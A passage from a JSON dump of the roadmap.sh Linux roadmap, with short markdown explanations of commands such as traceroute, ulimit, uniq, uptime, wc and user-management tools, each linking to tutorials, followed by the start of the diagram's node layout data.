    "path": "src/data/roadmaps/linux/content/traceroute@BnB3Rirh4R7a7LW7-k-95.md",
    "content": "# Traceroute\n\nTraceroute is a Linux network diagnostic tool that displays the path packets take from your system to a destination. It identifies routing problems, measures latency, and reveals network structure as packets traverse the internet. Each hop is tested multiple times with round-trip times displayed. Use `traceroute www.example.com` to discover packet routes and diagnose failures.\n\nVisit the following resources to learn more:\n\n- [@article@traceroute Command Examples in Linux](https://linuxhandbook.com/traceroute/)\n- [@article@How to Use the traceroute Command on Linux](https://www.howtogeek.com/657780/how-to-use-the-traceroute-command-on-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/troubleshooting@bdQNcr1sj94aX_gjwf2Fa.md",
    "content": "# Troubleshooting\n\nLinux troubleshooting involves identifying and resolving system errors, hardware/software issues, network problems, and resource management challenges. Key skills include using command-line tools, inspecting log files, understanding processes, and interpreting error messages. Tools like `top` provide real-time process monitoring to identify resource-heavy processes causing performance issues efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Troubleshooting Linux Problems: A Beginner's Guide](https://learn.redhat.com/t5/Platform-Linux/Troubleshooting-Linux-Problems-A-Beginner-s-Guide/td-p/36236)\n- [@article@Linux Top 20 Important Commands for Monitoring and Troubleshooting](https://medium.com/@stepstodevops/linux-top-20-important-commands-for-monitoring-and-troubleshooting-a-comprehensive-guide-for-cd5aaa37da17)\n- [@article@10 Linux Troubleshooting Tips - dummies](https://www.dummies.com/article/technology/computers/operating-systems/linux/10-linux-troubleshooting-tips-274301/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/ulimits@QgfenmhMc18cU_JngQ1n0.md",
    "content": "# Ulimits\n\nUlimits (user limits) are Linux kernel features that restrict resources like file handles and memory that processes can consume. In containerization, ulimits prevent rogue processes from exhausting server resources and creating denial-of-service situations. Use `ulimit -a` to view current limits and `ulimit -n 1024` to set specific limits for optimal container performance and security.\n\nVisit the following resources to learn more:\n\n- [@article@Check and set user limits with ulimit Linux command](https://linuxconfig.org/limit-user-environment-with-ulimit-linux-command)\n- [@article@How to Use Ulimit Command in Linux](https://linuxhandbook.com/ulimit-command/)\n- [@article@10 Linux Troubleshooting Tips](https://www.dummies.com/article/technology/computers/operating-systems/linux/10-linux-troubleshooting-tips-274301/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/unexpand@sKduFaX6xZaUUBdXRMKCL.md",
    "content": "# Unexpand\n\nThe `unexpand` command converts spaces to tabs in text files, making documents more coherent and neat. Commonly used in programming scripts where tab indentation is preferred. Use `unexpand -t 4 file.txt` to replace every four spaces with a tab. Opposite of `expand` command, useful for standardizing indentation formatting in code files.\n\nVisit the following resources to learn more:\n\n- [@article@unexpand Cheat Sheet](https://www.commandinline.com/cheat-sheet/unexpand/)\n- [@article@Master the Linux 'unexpand' Command: A Comprehensive Guide](https://hopeness.medium.com/master-the-linux-unexpand-command-a-comprehensive-guide-6966c1f90acb)\n- [@article@Linux unexpand Command with Practical Examples](https://labex.io/tutorials/linux-linux-unexpand-command-with-practical-examples-422975)"
  },
  {
    "path": "src/data/roadmaps/linux/content/uniq@qnBbzphImflQbEbtFub9x.md",
    "content": "# Uniq\n\n`uniq` is an extremely useful command-line program for text processing. It aids in the examination and manipulation of text files by comparing or filtering out repeated lines that are adjacent. Whether you're dealing with a list of data or a large text document, the `uniq` command allows you to find and filter out duplicate lines, or even provide a count of each unique line in a file. It's important to remember that `uniq` only removes duplicates that are next to each other, so to get the most out of this command, data is often sorted using the `sort` command first.\n\nVisit the following resources to learn more:\n\n- [@article@Uniq Command in Unix and Linux: 7 Essential Examples](https://linuxhandbook.com/uniq-command/)\n- [@article@Linux uniq Command: Duplicate Filtering](https://labex.io/tutorials/linux-linux-uniq-command-duplicate-filtering-219199)\n- [@article@How to Use the Uniq Command to Process Lists in Linux](https://www.redhat.com/en/blog/uniq-command-lists)"
  },
  {
    "path": "src/data/roadmaps/linux/content/uptime-and-load@19lTWqAvZFT2CDlhLlPSq.md",
    "content": "# Uptime and Load\n\nThe `uptime` command shows system running time and load averages for 1, 5, and 15-minute intervals. Load average indicates computational work and processes waiting for CPU time. High load suggests insufficient resources or misconfigurations. Example: `uptime` shows \"2 days, 20 min\" uptime and \"0.00, 0.01, 0.05\" load averages. Essential for performance monitoring and capacity planning.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Uptime Command With Usage Examples](https://www.tecmint.com/linux-uptime-command-examples/)\n- [@article@How to Check Uptime in Linux Command Line](https://linuxhandbook.com/uptime-command/)\n- [@article@Linux Load Average: What is Load Average in Linux?](https://www.digitalocean.com/community/tutorials/load-average-in-linux)"
  },
  {
    "path": "src/data/roadmaps/linux/content/uptime-load@19lTWqAvZFT2CDlhLlPSq.md",
    "content": "# Uptime and Load\n\nThe `uptime` command shows system running time and load averages for 1, 5, and 15-minute intervals. Load average indicates computational work and processes waiting for CPU time. High load suggests insufficient resources or misconfigurations. Example: `uptime` shows \"2 days, 20 min\" uptime and \"0.00, 0.01, 0.05\" load averages. Essential for performance monitoring and capacity planning.\n\nLearn more from the following resources:\n\n- [@article@Linux Uptime Command With Usage Examples](https://www.tecmint.com/linux-uptime-command-examples/)\n- [@article@How to Check Uptime in Linux Command Line](https://linuxhandbook.com/uptime-command/)\n- [@article@Linux Load Average: What is Load Average in Linux?](https://www.digitalocean.com/community/tutorials/load-average-in-linux)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/user-groups@h8wc8XEwWYHErna68w7Mg.md",
    "content": "# Users and Groups\n\nLinux user groups simplify system administration by managing collections of users with shared access rights to files and directories. Each user belongs to one or more groups, enabling privilege management without full superuser access. Management commands: `groupadd`, `groupdel`, `groupmod`, `usermod`, `gpasswd`. Essential for secure and organized system environments.\n\nLearn more from the following resources:\n\n- [@article@How to create, delete, and modify groups in Linux](https://www.redhat.com/sysadmin/linux-groups)\n- [@article@How to manage groups on Linux](https://linuxconfig.org/how-to-manage-groups-on-linux)\n- [@article@Creating, Modifying, and Deleting User Accounts](https://serveracademy.com/courses/linux-server-administration/creating-modifying-and-deleting-user-accounts/)\n- [@article@User Management in Linux: A Beginner's Guide](https://dev.to/austinozor/user-management-in-linux-a-beginners-guide-to-creating-modifying-and-deleting-users-fhf)"
  },
  {
    "path": "src/data/roadmaps/linux/content/user-management@g6n7f1Qi0BPr_BGvisWuz.md",
    "content": "# User Management\n\nLinux user management allows multiple users to interact with the system in isolation. Includes creating, deleting, modifying users and groups, assigning permissions and ownership. Key commands: `adduser`/`useradd` creates users, `deluser`/`userdel` removes users, `passwd` manages passwords, `su` switches users. Essential for providing proper accessibility and maintaining Linux system security.\n\nVisit the following resources to learn more:\n\n- [@article@User Account Management](https://labex.io/tutorials/linux-user-account-management-49)\n- [@article@Creating, Modifying, and Deleting User Accounts](https://serveracademy.com/courses/linux-server-administration/creating-modifying-and-deleting-user-accounts/)\n- [@article@User Management in Linux: A Beginner's Guide](https://dev.to/austinozor/user-management-in-linux-a-beginners-guide-to-creating-modifying-and-deleting-users-fhf)"
  },
  {
    "path": "src/data/roadmaps/linux/content/users-and-groups@h8wc8XEwWYHErna68w7Mg.md",
    "content": "# Users and Groups\n\nUser management in Linux uses groups to organize users and manage permissions efficiently. Groups are collections of users that simplify system administration by controlling access to resources like files and directories. Users can belong to multiple groups, enabling precise privilege management. Commands like `groupadd`, `groupdel`, `groupmod`, `usermod`, and `gpasswd` manage groups effectively. Proper group management is crucial for a secure and organized system environment.\n\nVisit the following resources to learn more:\n\n- [@article@How to create, delete, and modify groups in Linux](https://www.redhat.com/sysadmin/linux-groups)\n- [@article@How to Manage Groups on Linux](https://linuxconfig.org/how-to-manage-groups-on-linux)\n- [@article@Creating, Modifying, and Deleting User Accounts](https://serveracademy.com/courses/linux-server-administration/creating-modifying-and-deleting-user-accounts/)\n- [@article@User Management in Linux: A Beginner's Guide](https://dev.to/austinozor/user-management-in-linux-a-beginners-guide-to-creating-modifying-and-deleting-users-fhf)"
  },
  {
    "path": "src/data/roadmaps/linux/content/variables@JyxvZOb7iusOSUYSlniGl.md",
    "content": "# Variables\n\nShell variables store system or user-defined data that can change during script execution. Two categories exist: System Variables (PATH, HOME, PWD) created by Linux, and User-Defined Variables created by users. Define variables with `=` operator and retrieve values with `$` prefix. Example: `MY_VARIABLE=\"Hello World\"` then `echo $MY_VARIABLE` prints the value.\n\nVisit the following resources to learn more:\n\n- [@article@Learning The Shell](https://www.linuxcommand.org/lc3_lts0010.php)\n- [@article@How to Use Variables in Bash Shell Scripts](https://linuxhandbook.com/bash-variables/)\n- [@article@How To Read and Set Environmental and Shell Variables](https://www.digitalocean.com/community/tutorials/how-to-read-and-set-environmental-and-shell-variables-on-linux)"
  },
  {
    "path": "src/data/roadmaps/linux/content/vim@XiZz7EFIey1XKS292GN4t.md",
    "content": "# Vim: An Essential Tool for Editing Files\n\nVim (Vi Improved) is a powerful and flexible text editor used in Unix-like systems. It builds on the original Vi editor with additional features and improvements, including multi-level undo, syntax highlighting, and an extensive set of commands for text manipulation.\n\nVim operates primarily in three modes:\n\n*   Normal (for navigation and manipulation).\n*   Insert (for editing text).\n*   Command (for executing commands).\n\nVisit the following resources to learn more:\n\n- [@course@Learn Vimscript The Hard Way](https://learnvimscriptthehardway.stevelosh.com/)\n- [@article@Vim Cheat Sheet](https://vim.rtorr.com/)\n- [@article@Learn Vim Progressively](https://yannesposito.com/Scratch/en/blog/Learn-Vim-Progressively/)\n- [@article@Platform to practice Vim](https://vim-adventures.com/)\n- [@video@Vim Basics](https://www.youtube.com/watch?v=wACD8WEnImo&list=PLT98CRl2KxKHy4A5N70jMRYAROzzC2a6x&ab_channel=LearnLinuxTV)"
  },
  {
    "path": "src/data/roadmaps/linux/content/wc@LIGOJwrXexnIcPyHVlhQ8.md",
    "content": "# WC - Text Processing\n\nThe `wc` command is a commonly used tool in Unix or Linux that allows users to count the number of bytes, characters, words, and lines in a file or in data piped from standard input. The name `wc` stands for 'word count', but it can do much more than just count words. Common usage of `wc` includes tracking program output, counting code lines, and more. It's an invaluable tool for analyzing text at both granular and larger scales.\n\nVisit the following resources to learn more:\n\n- [@article@Wc Command in Linux (Count Number of Lines, Words, and Characters)](https://linuxize.com/post/linux-wc-command/)\n- [@article@wc Command Examples - Linux Handbook](https://linuxhandbook.com/wc-command/)\n- [@article@Linux wc Command: Text Counting](https://labex.io/tutorials/linux-linux-wc-command-text-counting-219200)"
  },
  {
    "path": "src/data/roadmaps/linux/content/working-with-files@RsOTPZPZGTEIt1Lk41bQV.md",
    "content": "# Working with Files\n\nWorking with files is an essential part of Linux and it's a skill every Linux user must have. In Linux, everything is considered a file: texts, images, systems, devices, and directories. Linux provides multiple command-line utilities to create, view, move or search files. Some of the basic commands for file handling in Linux terminal include `touch` for creating files, `mv` for moving files, `cp` for copying files, `rm` for removing files, and `ls` for listing files and directories.\n\nVisit the following resources to learn more:\n\n- [@article@Editing Files in Linux Command Line](https://itsfoss.com/edit-files-linux/)\n- [@article@Mastering cp and mv Commands in Linux](https://dev.to/ldwit/mastering-cp-and-mv-commands-in-linux-plus-related-cmds-5cc9)\n- [@article@Vim Tutorial for Beginners](https://linuxconfig.org/vim-tutorial)\n- [@article@Linux Basic Files Operations](https://labex.io/tutorials/linux-basic-files-operations-270248)\n- [@article@What is the Difference Between Cat and Touch Command](https://linuxways.net/centos/what-is-the-difference-between-cat-and-touch-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/linux/linux.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"k_AR2YBSv077a6RwpCpZT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 106.8618127280065,\n        \"y\": 2341.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.55,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 106.8618127280065,\n        \"y\": 2341.4007482223487\n      }\n    },\n    {\n      \"id\": \"5xQ5fcVJsUgSPyTR0Uu9u\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 312.8618127280065,\n        \"y\": 1298.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 97\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 312.8618127280065,\n        \"y\": 1298.7051467174065\n      }\n    },\n    {\n      \"id\": \"0RUdgwm8iZ-ESxhdnWmLE\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 172.8618127280065,\n        \"y\": 1298.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"5xQ5fcVJsUgSPyTR0Uu9u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 92\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 172.8618127280065,\n        \"y\": 1298.7051467174065\n      }\n    },\n    {\n      \"id\": \"CSVnyS5MDoz4YRQLSDgEt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -545.6381872719935,\n        \"y\": 1385.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 105\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -545.6381872719935,\n        \"y\": 1385.2051467174065\n      }\n    },\n    {\n      \"id\": \"u2K2QU5WxT9sSe9FCB-CA\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -682.1381872719935,\n        \"y\": 931.2051467174066\n      },\n      \"width\": 269,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 195.5\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 207\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.1381872719935,\n        \"y\": 931.2051467174066\n      }\n    },\n    {\n      \"id\": \"SVEfguTRO7MyqPkqdZOAc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 217.3618127280065,\n        \"y\": 569.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"a8dPVX0zrtPIKLpsH7DI3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 217.3618127280065,\n        \"y\": 569.7051467174066\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -230.1381872719935,\n        \"y\": -32.599251777651034\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 107,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -230.1381872719935,\n        \"y\": -32.599251777651034\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -186.6381872719935,\n        \"y\": -124.09925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -186.6381872719935,\n        \"y\": -124.09925177765109\n      }\n    },\n    {\n      \"id\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -297.6381872719935,\n        \"y\": 129.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Navigation Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -297.6381872719935,\n        \"y\": 129.40074822234897\n      }\n    },\n    {\n      \"id\": \"qLeEEwBvlGt1fP5Qcreah\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 50.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basic Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 50.40074822234891\n      }\n    },\n    {\n      \"id\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 103.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Moving Files / Directories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 103.40074822234891\n      }\n    },\n    {\n      \"id\": \"9oo2fxTM2_p0VYPBroqxa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 156.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating & Deleting Files / Dirs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 156.4007482223489\n      }\n    },\n    {\n      \"id\": \"3fzuXKH7az_LVnmnoXB1p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 209.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Directory Hierarchy Overview\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 209.4007482223489\n      }\n    },\n    {\n      \"id\": \"HGmeYvRf7_XusZl_K4x9k\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -297.6381872719935,\n        \"y\": 182.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Editing Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -297.6381872719935,\n        \"y\": 182.40074822234897\n      }\n    },\n    {\n      \"id\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -297.6381872719935,\n        \"y\": 355.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Shell and Other Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -297.6381872719935,\n        \"y\": 355.4007482223489\n      }\n    },\n    {\n      \"id\": \"wx-CpX3NJtKrdr_dQHZi9\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -685.1381872719935,\n        \"y\": -123.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"cz2Ix_SQSiLkXGKeCrD-f\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"I3dEtFD87s18bQaP2zbl1\",\n            \"label\": \"Docker Roadmap\",\n            \"url\": \"https://roadmap.sh/docker\"\n          },\n          {\n            \"id\": \"ZrFcSkggMw7x1s8NRZ1Sz\",\n            \"label\": \"Kubernetes Roadmap\",\n            \"url\": \"https://roadmap.sh/kubernetes\"\n          },\n          {\n            \"id\": \"jgSIg9jbUc4NQ-ZYUKKiy\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 196\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 192,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.1381872719935,\n        \"y\": -123.59925177765109\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 75.99419451849974,\n        \"y\": -139.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 75.99419451849974,\n        \"y\": -139.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 90.99419451849974,\n        \"y\": -53.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 90.99419451849974,\n        \"y\": -53.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XiZz7EFIey1XKS292GN4t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -683.6381872719935,\n        \"y\": 182.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Vim\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yqRwmcZThjQuqh2ao0dWK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 74,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -683.6381872719935,\n        \"y\": 182.40074822234897\n      }\n    },\n    {\n      \"id\": \"yqRwmcZThjQuqh2ao0dWK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -541.6381872719935,\n        \"y\": 182.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Nano\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -541.6381872719935,\n        \"y\": 182.40074822234897\n      }\n    },\n    {\n      \"id\": \"moGMHNR58wFlzhS7je1wc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 